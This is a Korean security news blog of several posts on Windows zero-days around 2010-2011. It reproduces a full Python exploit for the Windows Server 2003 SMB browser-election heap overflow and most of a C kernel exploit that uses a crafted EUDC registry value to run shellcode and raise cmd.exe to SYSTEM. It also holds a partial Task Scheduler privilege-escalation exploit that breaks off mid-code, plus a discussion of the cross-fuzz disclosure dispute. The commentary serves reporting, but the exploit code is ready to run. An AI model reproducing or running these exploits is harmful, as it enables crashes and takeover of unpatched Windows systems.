지난 2월 13일에 Cupidon-3005이라는 별명을 사용하는 보안 전문가가 exploit-db.com에 새로운 윈도우 관련 제로데이 익스플로잇을 공개했습니다.

####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#####################################################################################
#Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ...
#Code will look something like this:
#if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; }
#-1 causes Len to go 0xFFFFFFFF
#Feel free to reuse this code without restrictions...
  
import socket,sys,struct
from socket import *
  
if len(sys.argv)<=4:    
 sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME 
 example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""")
  
ourip = sys.argv[1]
host = sys.argv[2]
srcname = sys.argv[3].upper()
dstname = sys.argv[4].upper()
  
  
ELEC            = "\x42\x4f\x00"
WREDIR          = "\x41\x41\x00"
  
def encodename(nbt,service):
    final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
    return final
  
def lengthlittle(packet,addnum):
    length = struct.pack("<i", len(packet)+addnum)[0:2]
    return length
  
def lengthbig(packet,addnum):
    length = struct.pack(">i", len(packet)+addnum)[2:4]
    return length
  
def election(srcname):
    elec = "\x08"
    elec+= "\x09" #Be the boss or die
    elec+= "\xa8\x0f\x01\x20" #Be the boss or die
    elec+= "\x1b\xe9\xa5\x00" #Up time
    elec+= "\x00\x00\x00\x00" #Null, like SDLC
    elec+= srcname+"\x00"
    return elec
  
def smbheaderudp(op="\x25"):
    smbheader= "\xff\x53\x4d\x42"
    smbheader+= op 
    smbheader+= "\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00" 
    smbheader+=  "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    return smbheader
  
  
def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
    packetbrowser  =  pbrowser                             
    packetmailslot = "\x01\x00"                            
    packetmailslot+= "\x00\x00"                            
    packetmailslot+= "\x02\x00"                            
    packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
    packetmailslot+= namepipe +"\x00"
    packetdatagram = "\x11"
    packetdatagram+= "\x02"
    packetdatagram+= tid 
    packetdatagram+= inet_aton(ip)
    packetdatagram+= "\x00\x8a"
    packetdatagram+= "\x00\xa7"
    packetdatagram+= "\x00\x00"
    packetdatagramname = encodename(sname,srcservice)
    packetdatagramname+= encodename(dname,dstservice)
    smbheader= smbheaderudp("\x25")
    packetrans2 = "\x11"
    packetrans2+= "\x00\x00" 
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\xe8\x03\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
    packetrans2+= "\x03"
    packetrans2+= "\x00"
    andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
    lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetotalength = list(packetfinal)
    packetotalength[10:12] = lengthbig(lengthcalc,0)
    packetrans2final = ''.join(packetotalength)
    return packetrans2final
  
def sockbroad(host,sourceservice,destservice,packet):
   s = socket(AF_INET,SOCK_DGRAM)
   s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
   s.bind(('0.0.0.0', 138))
   try:
      packsmbheader = smbheaderudp("\x25")
      buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet)
      s.sendto(buffer0,(host,138))
   except:
      print "expected SDL error:", sys.exc_info()[0]
      raise
   
sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410)
print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."



물론 이 문제는 아직 해결되지 않았으며 마이크로소프트가 전모를 파악하여 분석 중에 있습니다.

문제점의 원인은 mrxsmb.sys 파일에 포함된 BrowserWriteErrorLogEntry() 함수에서 적벌한 처리가 이뤄지지 않아 버퍼 오버플로 오류가 발생하는 것으로 알려지고 있습니다. mrxsmb.sys 파일은 윈도우에서 네트워크 통신을 하는 과정에서 사용하는 SMB(Server Message Block) 프로토콜에 요청하는 프로세스를 처리하는 드라이버 파일입니다.

독일의 보안 기업인 Vupen이 검토한 바에 따르면 이 문제점은 치명적(Critical)인 것으로 간주되며 이로 인해 서비스 거부나 시스템 장악과 같은 결과를 낳을 수 있다고 합니다. 물론, 윈도우의 블루스크린(BSOD)를 유발할 수도 있습니다.

또다른 보안 기업인 Secunia에서는 5단계 위험 기준에서 3번째인 일반(moderately critical)로 분류했습니다.

현재 제로데이코드는 윈도우 2003 서버 제품에 한정되어 올라와 있지만 앞에서 언급한 보안 기업의 확인에 따르면 Windows XP SP3와 Windows 2003 SP2 버전뿐만 아니라 다른 윈도우 제품에서도 대부분 발생한다고 합니다.

MS의 보안 업데이트 정책상 다음달 8일에 정기 보안 업데이트가 예정되어 있지만, 이 취약점에 대한 조사가 완료된 후에야 긴급 업데이트를 할지 아니면 다음달에 처리할지 결정될 것이라고 합니다.

감사합니다.

출처: http://www.exploit-db.com/exploits/16166/
저작자 표시
reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus

    심각한 파급력을 가질 수 있는 보안 취약점을 발견 즉시 공개해야 할까요? 아니면, 개발사와 충분히 검토하여 문제점을 해결 또는 완화할 수 있는 방안(패치)를 마련한 다음 공개해야 할까요?

    보통, 후자의 경우를 선택하는 경우가 많으며, 요즘은 인식이 많이 좋아져서 개발사에서도 적극적으로 대처하는 편입니다.

    하지만, 작년 9월과 올 1월에 구글에서 근무하는 엔지니어가 새로운 제로데이 취약점을 공개해서 논란이 되고 있습니다. 앞에서 언급한 바와 같이 문제점의 해결책이 마련되지 않은 상태에서 공격이 가능한 코드(PoC, Proof of Concept)를 공개한 것이 논란의 발단입니다.

    Lcamtuf와 Michael Zalewski는 자신들이 발견한 cross-fuzz라는 취약점을 이용하는 공격이 가능함을 시연하는 툴을 최근 공개했습니다.

    1. Open two windows with documents of any (DOM-enabled) type. Simple HTML, XHTML, and SVG documents are randomly selected as targets by default - although any other, possibly plugin-supported formats could be targeted instead.
    2. Crawl DOM hierarchy of the first document, collecting encountered object references for later reuse. Visited objects and collected references are tagged using an injected property to avoid infinite recursion; a secondary blacklist is used to prevent navigating away or descending into the master window. Critically, random shuffling and recursion fanout control are used to ensure good coverage.
    3. Repeat DOM crawl, randomly tweaking encountered object properties by setting them to a one of the previously recorded references (or, with some probability, to one of a handful of hardcoded "interesting" values).
    4. Repeat DOM crawl, randomly calling encountered object methods. Call parameters are synthesized using collected references and "interesting" values, as noted above. If a method returns an object, its output is subsequently crawled and tweaked in a similar manner.
    5. Randomly destroy first document using one of the several possible methods, toggle garbage collection.
    6. Perform the same set of crawl & tweak operations for the second document, but use references collected from the first document for overwriting properties and calling methods in the second one.
    7. Randomly destroy document windows, carry over a percentage of collected references to the next fuzzing cycle.


    이 취약점은 2010년 7월부터 제기된 것으로 그동안 인터넷 익스플로러, 파이어폭스 등과 같은 브라우저에서 발생하는 문제를 해결해 오고 있는 상태였으며, 이에 대한 정보는 아래를 참고하십시오.

    Internet Explorer: MSRC notified in July 2010. Fuzzer known to trigger several clearly exploitable crashes (example stack trace) and security-relevant GUI corruption issues (XP-only, example). Reproducible, exploitable faults still present in current versions of the browser. I have reasons to believe that one of these vulnerabilities is known to third parties.

    Comment: Vendor has acknowledged receiving the report in July (case 10205jr), but has not contacted me again until my final ping in December. Following that contact attempt, they were able to quickly reproduce multiple exploitable crashes, and asked for the release of this tool to be postponed indefinitely. Since they have not provided a compelling explanation as to why these issues could not have been investigated earlier, I refused; see this timeline for more.
    All WebKit browsers: WebKit project notified in July 2010. About two dozen crashes identified and addressed in bug 42959 and related efforts by several volunteers. Relevant patches generally released with attribution in security bulletins. Some extremely hard-to-debug memory corruption problems still occurring on trunk.
    Firefox: Mozilla notified in July 2010. Around 10 crashes addressed in bug 581539, with attribution in security bulletins where appropriate. Fuzzing approach subsequently rolled into Jesse Ruderman's fuzzing infrastructure under bug 594645 in September; from that point on, 50 additional bugs identified (generally with no specific attribution at patch time). Several elusive crashes still occurring on trunk. Bad read / write offset crashes in npswf32.dll can also be observed if the plugin is installed.
    Opera: vendor notified in July 2010. Update provided in December states that Opera 11 fixed all the frequent crashes, and that a proper security advisory will be released at a later date (release notes list a placeholder statement: "fixed a high severity issue"). Several tricky crashes reportedly still waiting to be resolved.

    재미있는 점은 마이크로소프트가 이 취약점을 해결하는 패치가 발표되기 전까지는 공격 코드의 발표를 연기해 달라고 요청했다는 점인데, 이 요청을 거부하고 공개했다는 것입니다. 

    Michael Zalewski는 이러한 요청을 거부한 배경에는 이미 이 취약점을 이용하는 공격도구가 이미 인터넷 상에 존재하고 있다고 믿을 만한 근거가 있다고 밝혔습니다.


    즉, 이미 인터넷 상에 취약점이 공개되어 공격자들이 이용하고 있는데, 해결책이 없다고 주저하는 것이 옳은 선택일까요? 아닐까요?

    출처: http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html

     

    저작자 표시
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus
      지난 11월 24일, 외국의 유명한 프로그래밍 관련 사이트에서 윈도우의 패치되지 않은 취약점에 대한 공격 코드 즉, 제로데이가 발표되었습니다. 이 취약점은 윈도우 XP, 비스타, 7 등의 클라이언트 운영체제 뿐만 아니라 윈도우 2008과 같은 서버용 운영체제에서 발견되어 충격을 주고 있습니다.

      이 취약점은 윈도우 커널(win32k.sys)의 버퍼 오버플로 시에 발생하며, 공격자는 윈도우의 UAC(User Access Control) 기능을 우회할 수 있습니다.

      PoC(Proof of Concept) 공격 코드에서는 윈도우의 관리자 계정이 아닌 일반 계정으로도 특정한 키를 생성할 수 있는 것으로 제시하고 있습니다. 물론, win32k.sys가 커널에 관련된 파일로 일부 운영체제에서는 PoC 코드가 BSOD(블루스크린)을 보이기는 하지만 일부 수정만 한다면 문제없이 공격이 가능하리라 예상됩니다.

      다행인지 모르지만, 지금까지는 이 취약점은 로컬에서 공격이 가능하다고 언급하고 있지만, 공격 방식에 따라 다른 형태로도 가능하리라 예상됩니다.


      위의 화면에서 보면, 처음 사용자 권한은 일반인 user 였지만 공격 코드를 실행한 후에는 system 권한을 가지게 된 것을 볼 수 있습니다.

      아래 코드는 웹사이트에 공개한 PoC 중의 일부 코드 및 설명입니다.

      1. Introduction
      2.  
      3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
      4.  
      5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
      6. Using the code
      7.  
      8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
      9. Collapse
      10. Collapse
      11.  
      12. .text:BF81BA91                 push    esi             ; Environment
      13. .text:BF81BA92                 push    esi             ; Context
      14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
      15. .text:BF81BA98                 push    edi             ; Path
      16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
      17. .text:BF81BA9C                 push    esi             ; RelativeTo
      18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
      19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
      20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
      21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
      22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
      23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
      24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
      25. .text:BF81BACE                 mov     dword_BFA198FC, esi
      26. .text:BF81BAD4                 mov     dword_BFA19900, esi
      27. .text:BF81BADA                 mov     dword_BFA19904, esi
      28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
      29. .text:BF81BAE6                 mov     [ebp+var_8], eax
      30.  
      31. Stack trace shows the calling process is as follows:
      32.  
      33. GDI32.EnableEUDC ->
      34. NtGdiEnableEudc ->
      35. GreEnableEUDC ->
      36. sub_BF81B3B4 ->
      37. sub_BF81BA0B ->
      38. RtlQueryRegistryValues (Overflow occurs)
      39.  
      40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
      41. Collapse
      42. Collapse
      43.  
      44. // Allocate buffer for the driver
      45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
      46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
      47.  
      48. BYTE* pMem;            // shellcode
      49. DWORD ExpSize = 0;
      50.  
      51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
      52.  
      53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
      54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
      55.  
      56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
      57.  
      58. ExpSize = 0x28;
      59.  
      60.  
      61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
      62. Collapse
      63. Collapse
      64.  
      65. // Get the running kernel file name
      66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
      67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
      68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
      69. ULONG AllocSize = 0;
      70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
      71.  
      72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
      73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
      74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
      75.  
      76. //Relocation to the running kernel base
      77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
      78.  
      79. free(pModInfo);
      80.  
      81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
      82. // so we need a valid pool address to avoid BSOD.
      83.  
      84. if(vi.dwBuildNumber < 7600)    
      85. {
      86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
      87.  
      88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
      89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
      90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
      91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
      92.  
      93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
      94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
      95.  
      96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
      97.     {
      98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
      99.         {
      100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
      101.             break;
      102.         }
      103.     }
      104.     free(pHandleInfo);
      105. }
      106. else
      107. {
      108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
      109. }
      110.  
      111. // Now fills the API addresses needed
      112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
      113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
      114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
      115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
      116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
      117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
      118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
      119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
      120. FreeLibrary(hKernel);
      121.  
      122. // Here we tell the shellcode(PE loader) where the driver buffer is.
      123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
      124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
      125.  
      126.  
      127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
      128. Collapse
      129. Collapse
      130.  
      131. UINT codepage = GetACP();
      132. TCHAR tmpstr[256];
      133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
      134. HKEY hKey;
      135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
      136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
      137.  
      138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
      139.  
      140. __try
      141. {
      142.     EnableEUDC(TRUE);    
      143. }
      144. __except(1)
      145. {
      146. }
      147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
      148. RegCloseKey(hKey);
      149.  
      150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
      151. Points of Interest
      152.  
      153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
      154. Additional Information
      155.  
      156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
      157. Windows Vista/2008 6.1.6000 x32,
      158. Windows Vista/2008 6.1.6001 x32,
      159. Windows 7 6.2.7600 x32,
      160. Windows 7/2008 R2 6.2.7600 x64.
      161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


      아직까지 현 문제점에 대해 추가적인 언급이나 대책이 발표되지 않았으며, 공격 코드의 공개로 인해 악성코드 제작자의 활약(!)이 예상됩니다.



      감사합니다.

      저작자 표시
      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus
        외국의 취약점 공개 사이트인 www.exploit-db.com에서 윈도우의 예약 작업에 관련된 제로데이 코드가 발표되었습니다.

        다행이 취약점의 특성상 웹과 같이 외부적인 요소로 인한 공격이 주효하지 않을 것으로 보이지만, 악성코드 등과 같이 로컬로 동작할 경우에는 치명적인 영향을 미칠 가능성이 있으므로 주의해야 합니다.

        아직 해결책이나 보완책이 나오지 않았습니다.

        # Exploit Title: Windows Task Scheduler Privilege Escalation 0day
        # Date: 20-11-2010
        # Author: webDEViL
        # Tested on: Windows 7/2008 x86/x64
         
         
        <job id="tasksch-wD-0day">
        <script language="Javascript">
         
        crc_table = new Array(
          0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
          0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
          0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
          0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
          0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
          0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
          0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
          0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
          0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
          0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
          0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
          0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
          0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
          0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
          0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
          0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
          0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
          0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
          0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
          0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
          0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
          0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
          0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
          0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
          0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
          0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
          0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
          0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
          0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
          0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
          0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
          0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
          0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
          0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
          0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
          0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
          0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
          0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
          0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
          0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
          0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
          0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
          0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
          0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
          0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
          0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
          0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
          0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
          0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
          0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
          0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
          0x2D02EF8D
        );
         
        var hD='0123456789ABCDEF';
         
        function dec2hex(d) {
        h='';
        for (i=0;i<8;i++) {
        h = hD.charAt(d&15)+h;
        d >>>= 4;
        }
        return h;
        }
        function encodeToHex(str){
            var r="";
            var e=str.length;
            var c=0;
            var h;
            while(c<e){
                h=str.charCodeAt(c++).toString(16);
                while(h.length<3) h="0"+h;
                r+=h;
            }
            return r;
        }
        function decodeFromHex(str){
            var r="";
            var e=str.length;
            var s=0;
            while(e>1){
                 
                r=r+String.fromCharCode("0x"+str.substring(s,s+2));
                 
                s=s+2;
                e=e-2;
            }
             
            return r;
             
        }
         
         
        function calc_crc(anyForm) {
         
        anyTextString=decodeFromHex(anyForm);
         
        Crc_value = 0xFFFFFFFF;
        StringLength=anyTextString.length;
        for (i=0; i<StringLength; i++) {
        tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
        Table_value = crc_table[tableIndex];
        Crc_value >>>= 8;
        Crc_value ^= Table_value;
        }
        Crc_value ^= 0xFFFFFFFF;
        return dec2hex(Crc_value);
         
        }
         
        function rev_crc(leadString,endString,crc32) {
        //
        // First, we calculate the CRC-32 for the initial string
        //
            anyTextString=decodeFromHex(leadString);
             
           Crc_value = 0xFFFFFFFF;
           StringLength=anyTextString.length;
           //document.write(alert(StringLength));
           for (var i=0; i<StringLength; i++) {
              tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
              Table_value = crc_table[tableIndex];
              Crc_value >>>= 8;
              Crc_value ^= Table_value;
           }
        //
        // Second, we calculate the CRC-32 without the final string
        //
           crc=parseInt(crc32,16);
           crc ^= 0xFFFFFFFF;
           anyTextString=decodeFromHex(endString);
           StringLength=anyTextString.length;
           for (var i=0; i<StringLength; i++) {
              tableIndex=0;
              Table_value = crc_table[tableIndex];
              while (((Table_value ^ crc) >>> 24)  & 0xFF) {
                 tableIndex++;
                 Table_value = crc_table[tableIndex];
              }
              crc ^= Table_value;
              crc <<= 8;
              crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
           }
        //
        // Now let's find the 4-byte string
        //
           for (var i=0; i<4; i++) {
              tableIndex=0;
              Table_value = crc_table[tableIndex];
              while (((Table_value ^ crc) >>> 24)  & 0xFF) {
                 tableIndex++;
                 Table_value = crc_table[tableIndex];
              }
              crc ^= Table_value;
              crc <<= 8;
              crc |= tableIndex;
           }
           crc ^= Crc_value;
        //
